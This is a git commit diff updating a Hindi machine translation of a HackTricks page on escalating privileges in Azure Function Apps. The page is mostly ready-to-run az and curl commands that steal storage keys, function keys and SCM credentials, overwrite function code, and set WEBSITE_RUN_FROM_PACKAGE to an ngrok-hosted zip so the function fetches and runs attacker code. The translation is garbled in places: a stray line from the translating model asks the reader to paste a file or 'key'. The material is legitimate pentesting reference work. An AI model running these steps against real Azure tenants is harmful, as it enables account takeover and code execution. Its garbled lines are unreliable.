mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+86
-65
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
अधिक जानकारी के लिए निम्न पृष्ठ देखें:
|
||||
अधिक जानकारी के लिए निम्नलिखित पेज देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,26 +12,26 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Storage Account के अंदर जो containers होते हैं जो Function data को स्टोर करते हैं उन्हें पढ़ने की permissions होने पर आप **विभिन्न कंटेनर** (custom या pre-defined names वाले) खोज सकते हैं जो संभवतः **Function द्वारा निष्पादित कोड** को contain करते हों।
|
||||
Storage Account के अंदर मौजूद containers को पढ़ने की permissions के साथ, जो function data store करता है, **different containers** (custom या predefined names वाले) ढूंढना संभव है, जिनमें **function द्वारा executed code** हो सकता है।
|
||||
|
||||
एक बार जब आप पता लगा लें कि Function का कोड कहाँ स्थित है और आपके पास उस पर write permissions हैं, तो आप Function को किसी भी कोड को execute करने के लिए मजबूर कर सकते हैं और Function से जुड़े managed identities के privileges escalate कर सकते हैं।
|
||||
एक बार जब आपको पता चल जाए कि function का code कहाँ located है, और अगर आपके पास उस पर write permissions हैं, तो आप function से कोई भी code execute करा सकते हैं और function से attached managed identities तक privileges escalate कर सकते हैं।
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Function का कोड आमतौर पर एक file share के अंदर स्टोर रहता है। पर्याप्त access होने पर कोड फ़ाइल में संशोधन कर के आप **Function को मनमाना कोड लोड करवाना** संभव कर सकते हैं, जिससे Function से जुड़े managed identities के privileges escalate हो सकें।
|
||||
Function का code आमतौर पर एक file share के अंदर stored होता है। पर्याप्त access के साथ code file को modify करना और **function को arbitrary code load** कराने के लिए मजबूर करना संभव है, जिससे Function से attached managed identities तक privileges escalate की जा सकती हैं।
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** जिन्हें आप प्राप्त कर सकते हैं
|
||||
यह deployment method आमतौर पर **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** settings configure करता है, जिन्हें आप from से प्राप्त कर सकते हैं
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
ये कॉन्फ़िग्स में वह **Storage Account Key** होगी जिसका उपयोग Function कोड तक पहुँचने के लिए कर सकता है।
|
||||
वे configs **Storage Account Key** contain करेंगे जिसे Function code access करने के लिए use कर सकता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> पर्याप्त अनुमति होने पर File Share से कनेक्ट करके और चल रही स्क्रिप्ट को **modify the script** करने पर Function में arbitrary code निष्पादित करना और privileges escalate करना संभव है।
|
||||
> File Share से connect करने और running **script को modify** करने के लिए enough permission होने पर Function में arbitrary code execute करना और privileges escalate करना possible है।
|
||||
|
||||
निम्न उदाहरण macOS का उपयोग करके file share से कनेक्ट करने का तरीका दिखाता है, लेकिन file shares के बारे में और जानकारी के लिए निम्न पृष्ठ भी देखें:
|
||||
नीचे दिया गया example file share से connect करने के लिए macOS use करता है, लेकिन file shares के बारे में more info के लिए following page भी check करना recommended है:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
अक्सर `function-releases` फोल्डर के अंदर, उस Storage Account container में जो function app उपयोग कर रहा होता है, **zip releases** मिलती हैं — आमतौर पर यह container `function-releases` नाम का होता है।
|
||||
Storage Account container के `function-releases` folder के अंदर **zip releases** मिलना भी आम है, जिसे function app एक container में use कर रहा होता है, **आमतौर पर `function-releases` नाम से**।
|
||||
|
||||
आम तौर पर यह deployment method `WEBSITE_RUN_FROM_PACKAGE` config को निम्न में सेट कर देता है:
|
||||
आमतौर पर यह deployment method `WEBSITE_RUN_FROM_PACKAGE` config को इसमें set करेगा:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
यह config आमतौर पर Storage Account से code download करने के लिए एक **SAS URL** contain करेगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> blob container से कनेक्ट करने की पर्याप्त अनुमति होने पर जो **contains the code in zip** है, Function में arbitrary code execute करके privileges escalate करना संभव है।
|
||||
> पर्याप्त permission होने पर blob container से connect करना जो **zip में code contains** करता है, Function में arbitrary code execute करना और privileges escalate करना possible है।
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
पिछले केस की तरह, अगर deployment Github Actions के माध्यम से किया गया है तो Storage Account में **`github-actions-deploy`** फोल्डर पाया जा सकता है जो कोड का zip रखता है और setting `WEBSITE_RUN_FROM_PACKAGE` में उस zip का SAS URL होता है।
|
||||
पिछले case की तरह, अगर deployment Github Actions के जरिए किया गया है, तो Storage Account में **`github-actions-deploy`** folder ढूँढना possible है, जिसमें code का zip और `WEBSITE_RUN_FROM_PACKAGE` setting में zip का एक SAS URL होता है।
|
||||
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
function data संग्रहीत करने वाले Storage Account के अंदर के containers पढ़ने की permissions होने पर **`scm-releases`** container पाया जा सकता है। वहाँ आप latest release **Squashfs filesystem file format** में पा सकते हैं और इसलिए function का code पढ़ना संभव है:
|
||||
Storage Account के अंदर मौजूद containers को read करने की permissions के साथ, जो function data store करता है, **`scm-releases`** container ढूँढना possible है। उसमें latest release **Squashfs filesystem file format** में find करना possible है, और इसलिए function का code read करना possible है:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
**master और functions keys** को storage account में, container **`azure-webjobs-secrets`** के अंदर, folder **`<app-name>`** में स्टोर किया हुआ भी पाया जा सकता है, उन JSON files में जो आपको अंदर मिलेंगी।
|
||||
|
||||
> [!CAUTION]
|
||||
> blob container से कनेक्ट करने के लिए पर्याप्त अनुमति होने पर, जो **contains the code in a zip extension file** (जो वास्तव में एक **`squashfs`** है), Function में arbitrary code execute करना और privileges escalate करना संभव है।
|
||||
> blob container से connect करने के लिए पर्याप्त permission के साथ, जो **code को zip extension file** में **contain** करता है (जो वास्तव में **`squashfs`** है), Function में arbitrary code execute करना और privileges escalate करना संभव है।
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
यह अनुमति निर्दिष्ट function की function, master और system keys को सूचीबद्ध करने की अनुमति देती है, लेकिन host key को नहीं, निम्न के साथ:
|
||||
यह permission specified function के function, master और system keys को list करने की अनुमति देता है, लेकिन host key को नहीं, इसके लिए:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
master key के साथ यह भी संभव है कि source code को ऐसे URL से प्राप्त किया जा सके, जैसे:
|
||||
मास्टर key के साथ source code को इस तरह के URL में भी प्राप्त करना possible है जैसे:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
और फ़ंक्शन में **निष्पादित हो रहे कोड को बदलने** के लिए:
|
||||
और **function में execute हो रहे code को बदलने** के लिए:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## Python function app example
|
||||
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
यह अनुमति निर्दिष्ट function की default key प्राप्त करने की अनुमति देती है:
|
||||
यह अनुमति निर्दिष्ट function की default key प्राप्त करने की अनुमति देती है, with:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
प्राप्त डिफ़ॉल्ट कुंजी का उपयोग करके फ़ंक्शन को चलाएँ:
|
||||
प्राप्त default key का उपयोग करके function invoke करें:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
यह अनुमति निर्दिष्ट फ़ंक्शन की function key को निम्न के साथ बनाने/अपडेट करने की अनुमति देती है:
|
||||
यह अनुमति निर्दिष्ट function का function key create/update करने की अनुमति देती है, with:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
यह permission निर्दिष्ट function के लिए master key बनाने/अपडेट करने की अनुमति देती है:
|
||||
यह अनुमति निर्दिष्ट function के लिए master key को create/update करने की अनुमति देती है:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> याद रखें कि इस key के साथ आप स्रोत कोड तक भी पहुँच कर उसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
|
||||
> याद रखें कि इस key के साथ आप source code तक भी पहुंच सकते हैं और इसे पहले बताए अनुसार modify कर सकते हैं!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
यह permission निर्दिष्ट function के लिए system function key create/update करने की अनुमति देता है:
|
||||
यह permission specified function के लिए एक system function key create/update करने की अनुमति देती है, with:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
मैंने उस फ़ाइल की सामग्री प्राप्त नहीं की है। कृपया src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md की सामग्री या "key" यहाँ पेस्ट करें ताकि मैं उसे हिंदी में अनुवाद कर सकूं।
|
||||
कृपया key प्रदान करें।
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
यह अनुमति किसी फ़ंक्शन की सेटिंग्स प्राप्त करने देती है। इन कॉन्फ़िगरेशन में डिफ़ॉल्ट मान **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** मिल सकते हैं, जो फ़ंक्शन के blob storage तक FULL permissions के साथ एक्सेस करने के लिए एक account key रखते हैं।
|
||||
यह permission किसी function की settings प्राप्त करने की अनुमति देती है। इन configurations के अंदर default values **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** मिल सकती हैं, जिनमें **function के blob storage को FULL permissions के साथ access करने के लिए account key** होती है।
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
इसके अलावा, यह अनुमति (यदि सक्षम हो) **SCM username and password** प्राप्त करने की अनुमति भी देती है:
|
||||
इसके अलावा, यह permission **SCM username and password** भी प्राप्त करने की अनुमति देती है (यदि enabled हो) इस तरह:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
ये permissions एक function के config values को सूचीबद्ध करने की अनुमति देती हैं जैसा कि पहले देखा गया था, और साथ ही आप इन्हें **इन मानों को संशोधित कर सकते हैं**। यह उपयोगी है क्योंकि ये सेटिंग्स बताती हैं कि function के अंदर execute होने वाला code कहाँ स्थित है।
|
||||
ये permissions एक function के config values को list करने की अनुमति देते हैं, जैसा कि हमने पहले देखा था, और साथ ही **इन values को modify** भी कर सकते हैं। यह इसलिए उपयोगी है क्योंकि ये settings यह दिखाती हैं कि function के अंदर execute होने वाला code कहाँ located है।
|
||||
|
||||
इसलिए यह संभव है कि आप setting **`WEBSITE_RUN_FROM_PACKAGE`** का मान उस URL zip फ़ाइल की ओर सेट करें जिसमें वेब एप्लिकेशन के अंदर execute करने के लिए नया code होता है:
|
||||
इसलिए setting **`WEBSITE_RUN_FROM_PACKAGE`** का value ऐसे URL zip file की ओर set करना possible है, जिसमें web application के अंदर execute होने वाला नया code हो:
|
||||
|
||||
- शुरू करने के लिए पहले वर्तमान config प्राप्त करें
|
||||
- Start by getting the current config
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- उस code को बनाएं जिसे आप function द्वारा चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें
|
||||
- वह code बनाएं जिसे आप function से run करवाना चाहते हैं और उसे publicly host करें
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- फ़ंक्शन में संशोधन करें, पिछले पैरामीटर्स को रखें और अंत में कॉन्फ़िग **`WEBSITE_RUN_FROM_PACKAGE`** जोड़ें जो कोड वाले **zip** के URL की ओर इशारा करे।
|
||||
- function को modify करें, previous parameters को keep करें और end में config **`WEBSITE_RUN_FROM_PACKAGE`** add करें, जो **zip** containing the code वाली URL point करता हो।
|
||||
|
||||
The following is an example of my **मेरी अपनी सेटिंग्स हैं; आपको इनके मान अपने अनुसार बदलने होंगे**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, this is where I was hosting the app.
|
||||
नीचे मेरे **own settings** का एक example है, आपको values अपनी values के लिए change करनी होंगी, end में values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` पर ध्यान दें, यहीं मैं app host कर रहा था।
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
इस अनुमति के साथ यह **संभव है कि किसी एप्लिकेशन के कोड में बदलाव किया जा सके** वेब कंसोल के माध्यम से (या निम्नलिखित API endpoint के जरिए):
|
||||
इस अनुमति के साथ web console के माध्यम से (या निम्न API endpoint के माध्यम से) **application के code को modify करना संभव है**:
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -266,7 +266,7 @@ body: responseMessage
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
यह अनुमति सभी publishing profiles को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से **basic auth credentials** होते हैं:
|
||||
यह permissions सभी publishing profiles की list करने की अनुमति देता है, जिनमें मूल रूप से **basic auth credentials** होते हैं:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -274,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
एक और विकल्प होगा अपने creds सेट करना और उनका उपयोग करना:
|
||||
एक और विकल्प होगा कि आप अपने खुद के creds सेट करें और उनका उपयोग इस तरह करें:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
@@ -282,7 +282,7 @@ az functionapp deployment user set \
|
||||
```
|
||||
- यदि **REDACTED** credentials
|
||||
|
||||
यदि आप देखते हैं कि वे credentials **REDACTED** हैं, तो इसका कारण यह है कि आपको **SCM basic authentication option को सक्षम करने** की आवश्यकता है और इसके लिए आपको दूसरा permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` की आवश्यकता है।
|
||||
यदि आप देखते हैं कि वे credentials **REDACTED** हैं, तो इसका कारण यह है कि आपको **SCM basic authentication option** को enable करना होगा और उसके लिए आपको दूसरी permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` की आवश्यकता होगी
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -302,28 +302,49 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
```
|
||||
- **विधि SCM**
|
||||
- **Method SCM**
|
||||
|
||||
फिर, आप इन **basic auth credentials** के साथ अपने function app के SCM URL पर पहुँच सकते हैं और env variables के मान प्राप्त कर सकते हैं:
|
||||
फिर, आप अपनी function app के **SCM URL** तक इन **basic auth credentials** के साथ access कर सकते हैं और env variables के values प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_ध्यान दें कि **SCM username** आमतौर पर '$' अक्षर होता है, उसके बाद ऐप का नाम आता है, इसलिए: `$<app-name>`._
|
||||
आप नया function code download, modify और upload कर सकते हैं :
|
||||
```bash
|
||||
# download
|
||||
curl -u '<username>:<password>' -X GET \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||
-o current_function_code.zip
|
||||
|
||||
आप इस वेब पेज तक इस URL से भी पहुँच सकते हैं: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
unzip current_function_code.zip -d updated_code/
|
||||
cd updated_code/
|
||||
#... modify the function code
|
||||
zip -r ../updated_function_app.zip .
|
||||
cd ../
|
||||
|
||||
Settings मानों में function app के डेटा को स्टोर करने वाले storage account का **AccountKey** होता है, जिससे उस storage account को नियंत्रित किया जा सकता है।
|
||||
# upload
|
||||
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||
```
|
||||
आप एक specific file भी upload कर सकते हैं :
|
||||
```bash
|
||||
curl -u '<username>:<password>' \
|
||||
-X PUT \
|
||||
-H "Content-Type: application/javascript" \
|
||||
-H "If-Match: *" \
|
||||
--data-binary "@./my_local_payload.js" \
|
||||
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||
```
|
||||
_नोट करें कि **SCM username** आमतौर पर char "$" के बाद app का नाम होता है, इसलिए: `$<app-name>`._
|
||||
|
||||
- **तरीका FTP**
|
||||
आप web page को `https://<app-name>.scm.azurewebsites.net/BasicAuth` से भी access कर सकते हैं
|
||||
|
||||
FTP सर्वर से कनेक्ट करने के लिए:
|
||||
settings values में function app का data store करने वाले storage account का **AccountKey** होता है, जिससे उस storage account को control किया जा सकता है।
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
FTP server से connect करें using:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -337,19 +358,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_ध्यान दें कि **FTP username** आमतौर पर प्रारूप \<app-name>\\$\<app-name> में होता है._
|
||||
_ध्यान दें कि **FTP username** आमतौर पर इस format में होता है: \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
यह अनुमति VFS के माध्यम से app का **स्रोत कोड पढ़ने** की अनुमति देती है:
|
||||
यह permission app के source code को VFS के through **read** करने की अनुमति देता है:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
इस अनुमति के साथ आप [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त कर सकते हैं, जिसका उपयोग बाद में **master key** प्राप्त करने और इसलिए function's code तक पहुँचने व उसे संशोधित करने के लिए किया जा सकता है।
|
||||
इस permission के साथ [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना संभव है, जिसे बाद में **master key** निकालने के लिए इस्तेमाल किया जा सकता है और इस तरह function के code को access और modify किया जा सकता है।
|
||||
|
||||
हालाँकि, मेरी हाल की जाँचों में कोई token वापस नहीं आया, इसलिए यह disabled हो सकता है या अब काम नहीं कर रहा हो, पर यहाँ बताया गया है कि आप इसे कैसे करेंगे:
|
||||
हालांकि, मेरी पिछली checks में कोई token return नहीं हुआ, इसलिए हो सकता है कि यह disabled हो या अब काम न करता हो, लेकिन इसे इस तरह किया जाएगा:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
यह अनुमति उन फ़ंक्शंस को सक्षम करने (या अक्षम करने) की अनुमति देती है जो निष्क्रिय हो सकती हैं।
|
||||
यह permissions आपको **functions को enable** करने की अनुमति देता है जो disabled हो सकते हैं (या उन्हें disable करने की)।
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
यह भी देखा जा सकता है कि कोई function सक्षम है या अक्षम निम्न URL में (parenthesis में दिए गए permission का उपयोग करके):
|
||||
यह भी संभव है कि निम्न URL में यह देखा जाए कि कोई function enabled है या disabled (parenthesis में दिए गए permission का उपयोग करके):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
इन permissions के साथ यह संभव है कि आप **function app द्वारा चलाए जा रहे container को संशोधित** कर सकें, जो container चलाने के लिए configured है। इससे एक attacker एक malicious azure function container app को docker hub (for example) पर upload करके function को इसे चलाने के लिए मजबूर कर सकता है।
|
||||
इन permissions के साथ यह संभव है कि **container run करने के लिए configured function app द्वारा चलाए जाने वाले container को modify** किया जा सके। इससे attacker docker hub (for example) पर एक malicious azure function container app upload कर सकता है और function से उसे execute करा सकता है।
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
इन permissions के साथ यह संभव है कि किसी function पर एक नया user managed identity attach किया जा सके। यदि function compromised हो गया हो तो इससे किसी भी user managed identity के privileges escalate किए जा सकेंगे।
|
||||
इन अनुमतियों के साथ **एक function से एक नया user managed identity attach करना** संभव है। यदि function compromised हो गया था, तो यह किसी भी user managed identity तक privilege escalation करने की अनुमति देगा।
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### रिमोट डिबगिंग
|
||||
### Remote Debugging
|
||||
|
||||
एक चल रही Azure function को डिबग करने के लिए कनेक्ट करना भी संभव है जैसा कि [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा ताकि अगर डेवलपर भूल जाए तो कमजोर कॉन्फ़िगरेशन न रह जाएँ।
|
||||
चल रहे Azure function को debug करने के लिए connect करना भी संभव है, जैसा कि [**docs में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालांकि, default रूप से Azure इस option को 2 days बाद off कर देगा, ताकि अगर developer भूल जाए तो vulnerable configurations छोड़ी न रहें।
|
||||
|
||||
यह जांचना संभव है कि किसी Function में debugging सक्षम है या नहीं, इसके लिए:
|
||||
यह जांचना संभव है कि किसी Function में debugging enabled है या नहीं, इसके लिए:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
यदि आपके पास अनुमति `Microsoft.Web/sites/config/write` है, तो किसी function को debugging mode में डालना भी संभव है (निम्नलिखित command के लिए `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` और `Microsoft.Web/sites/Read` अनुमतियाँ भी आवश्यक हैं)।
|
||||
परमिशन `Microsoft.Web/sites/config/write` होने पर किसी function को debugging mode में रखना भी संभव है (निम्न command के लिए `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` और `Microsoft.Web/sites/Read` परमिशन भी चाहिए)।
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Change Github repo
|
||||
### Github repo बदलें
|
||||
|
||||
मैंने उस Github repo को बदलने की कोशिश की जहाँ से deploying हो रहा था, निम्न commands चलाकर, लेकिन भले ही यह बदल भी गया, **नया कोड लोड नहीं हुआ था** (शायद क्योंकि यह Github Action से कोड अपडेट होने की उम्मीद कर रहा था).\
|
||||
इसके अलावा, **managed identity federated credential को नए repository को अनुमति देने के लिए अपडेट नहीं किया गया था**, इसलिए लगता है कि यह बहुत उपयोगी नहीं है।
|
||||
मैंने निम्नलिखित commands execute करके उस Github repo को बदलने की कोशिश की जहाँ से deployment हो रहा था, लेकिन भले ही यह बदल भी गया हो, **नया code load नहीं हुआ** (शायद क्योंकि यह code को update करने के लिए Github Action की उम्मीद कर रहा है)।\
|
||||
इसके अलावा, **managed identity federated credential update नहीं हुआ** जिससे नया repository allow हो सके, इसलिए ऐसा लगता है कि यह बहुत useful नहीं है।
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user